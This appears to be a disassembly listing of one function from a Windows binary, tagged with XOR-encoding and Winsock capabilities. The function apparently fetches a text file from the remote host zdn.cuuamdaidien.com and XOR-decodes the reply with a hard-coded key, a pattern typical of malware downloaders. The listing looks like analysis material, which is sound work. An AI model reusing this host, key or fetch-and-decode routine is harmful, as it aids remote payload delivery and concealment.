Function at 0x10005390
Capabilities:
Encode data using xor
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002763a
mov eax, dword fs:[0]
push eax
sub esp, 0x36c
mov eax, dword [0x10036054]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x328]
push 0x30
mov dword [ebp - 0x328], 0
push str.http:__zdn.cuuamdaidien.com_static_fpth_2023.txt
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x314], 0xf
mov byte [ebp - 0x328], 0
call fcn.10007770
lea eax, [ebp - 0x310]
mov byte [ebp - 4], 1
push eax
push 0x202
mov byte [ebp - 0x180], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, eax
test ecx, ecx
jne 0x100058b6
mov eax, dword [ebp - 0x310]
cmp al, 2
jne 0x100058f2
shr eax, 8
cmp al, 2
jne 0x100058f2
mov word [ebp - 0x180], 1
mov byte [ebp - 4], al
lea ecx, [ebp - 0x328]
cmp dword [ebp - 0x314], 0x10
mov eax, dword [ebp - 0x318]
cmovae ecx, dword [ebp - 0x328]
add eax, ecx
cmp dword [ebp - 0x314], 0x10
lea ecx, [ebp - 0x328]
cmovae ecx, dword [ebp - 0x328]
push eax
push ecx
lea ecx, [ebp - 0x17c]
call fcn.10007a80
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x314]
cmp ecx, 0x10
jb 0x100054c9
mov edx, dword [ebp - 0x328]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100054bf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100058de
push ecx
push edx
call fcn.1000f0df
add esp, 8
mov dword [ebp - 0x350], 0
mov dword [ebp - 0x34c], 0
mov dword [ebp - 0x348], 0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x328]
push 0
mov dword [ebp - 0x328], 0
push 0x10032b3b
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x314], 0xf
mov byte [ebp - 0x328], 0
call fcn.10007770
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x344]
push 3
mov dword [ebp - 0x344], 0
push 0x10032e68
mov dword [ebp - 0x334], 0
mov dword [ebp - 0x330], 0xf
mov byte [ebp - 0x344], 0
call fcn.10007770
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x328]
cmp dword [ebp - 0x314], 0x10
mov eax, dword [ebp - 0x318]
cmovae ecx, dword [ebp - 0x328]
add eax, ecx
cmp dword [ebp - 0x314], 0x10
lea ecx, [ebp - 0x328]
cmovae ecx, dword [ebp - 0x328]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x44]
call fcn.10008b40
mov esi, eax
push 0
push 0xbb8
sub esp, 0xc
mov byte [ebp - 4], 8
lea eax, [ebp - 0x350]
mov ecx, esp
push eax
call fcn.10006cd0
push esi
lea eax, [ebp - 0x344]
push eax
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x180]
call fcn.10002760
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x44]
test ecx, ecx
je 0x1000560c
mov edx, dword [ebp - 0x3c]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10005602
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100058e3
push edx
push ecx
call fcn.1000f0df
add esp, 8
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x330]
cmp ecx, 0x10
jb 0x1000564a
mov edx, dword [ebp - 0x344]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10005640
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100058e8
push ecx
push edx
call fcn.1000f0df
add esp, 8
mov dword [ebp - 0x334], 0
mov dword [ebp - 0x330], 0xf
mov byte [ebp - 0x344], 0
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x314]
cmp ecx, 0x10
jb 0x100056a3
mov edx, dword [ebp - 0x328]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10005699
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100058e8
push ecx
push edx
call fcn.1000f0df
add esp, 8
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x314], 0xf
mov byte [ebp - 0x328], 0
lea ecx, [ebp - 0x350]
mov byte [ebp - 4], 0xc
call fcn.100076f0
mov eax, 0xc8
cmp word [ebp - 0x84], ax
jne 0x1000586d
push ecx
push dword [ebp - 0x58]
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x18], 0
push dword [ebp - 0x5c]
call fcn.10008fd0
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
lea eax, [ebp - 0x38]
push 0x21
push eax
call fcn.10014c2d
mov ecx, str.aiueokakikukekos
add esp, 0xc
xor esi, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10005716
mov ebx, 3
sub ecx, edx
lea edi, [ebx - 1]
xor edx, edx
mov eax, esi
div ecx
movzx eax, byte [edx + str.aiueokakikukekos]
xor edx, edx
xor al, byte [ebp + esi - 0x38]
mov byte [esi + 0x102b7edc], al
lea eax, [edi - 1]
div ecx
movzx eax, byte [edx + str.aiueokakikukekos]
xor edx, edx
xor al, byte [ebp + esi - 0x37]
mov byte [esi + 0x102b7edd], al
mov eax, edi
div ecx
movzx eax, byte [edx + str.aiueokakikukekos]
xor edx, edx
xor al, byte [ebp + edi - 0x38]
add edi, 4
mov byte [ebx + 0x102b7edb], al
mov eax, ebx
div ecx
movzx eax, byte [edx + str.aiueokakikukekos]
xor al, byte [ebp + ebx - 0x38]
add ebx, 4
mov byte [esi + 0x102b7edf], al
add esi, 4
cmp edi, 0x12
jb 0x10005727
xor esi, esi
lea edi, [esi + 4]
xor edx, edx
mov eax, esi
div ecx
movzx eax, byte [edx + str.aiueokakikukekos]
xor edx, edx
xor al, byte [ebp + esi - 0x28]
mov byte [esi + 0x102c8500], al
lea eax, [esi + 1]
div ecx
movzx eax, byte [edx + str.aiueokakikukekos]
xor edx, edx
xor al, byte [ebp + esi - 0x27]
mov byte [esi + 0x102c8501], al
lea eax, [esi + 2]
div ecx
movzx eax, byte [edx + str.aiueokakikukekos]
xor edx, edx
xor al, byte [ebp + esi - 0x26]
mov byte [esi + 0x102c8502], al
lea eax, [esi + 3]
div ecx
movzx eax, byte [edx + str.aiueokakikukekos]
xor al, byte [ebp + esi - 0x25]
mov byte [esi + 0x102c8503], al
add esi, 4
sub edi, 1
jne 0x10005797
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x10005832
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10005828
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100058ed
push ecx
push edx
call fcn.1000f0df
add esp, 8
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
call fcn.100048d0
lea ecx, [ebp - 0x17c]
call fcn.100045c0
cmp byte [ebp - 0x180], 0
je 0x10005869
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor al, al
jmp 0x10005894
lea ecx, [ebp - 0x88]
call fcn.100048d0
lea ecx, [ebp - 0x17c]
call fcn.100045c0
cmp byte [ebp - 0x180], 0
je 0x10005892
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000ee9f
mov esp, ebp
pop ebp
ret
push str.WSAStartup_failed
call fcn.100019c0
push eax
push ecx
lea ecx, [ebp - 0x370]
call fcn.100015b0
push 0x100350ec
lea eax, [ebp - 0x370]
push eax
call fcn.10010bee
call fcn.10015de5
call fcn.10015de5
call fcn.10015de5
call fcn.10015de5
call dword [sym.imp.WS2_32.dll_WSACleanup]
push str.Invalid_WinSock_version
lea ecx, [ebp - 0x35c]
call fcn.10001230
push 0x100350fc
lea eax, [ebp - 0x35c]
push eax
call fcn.10010bee
int3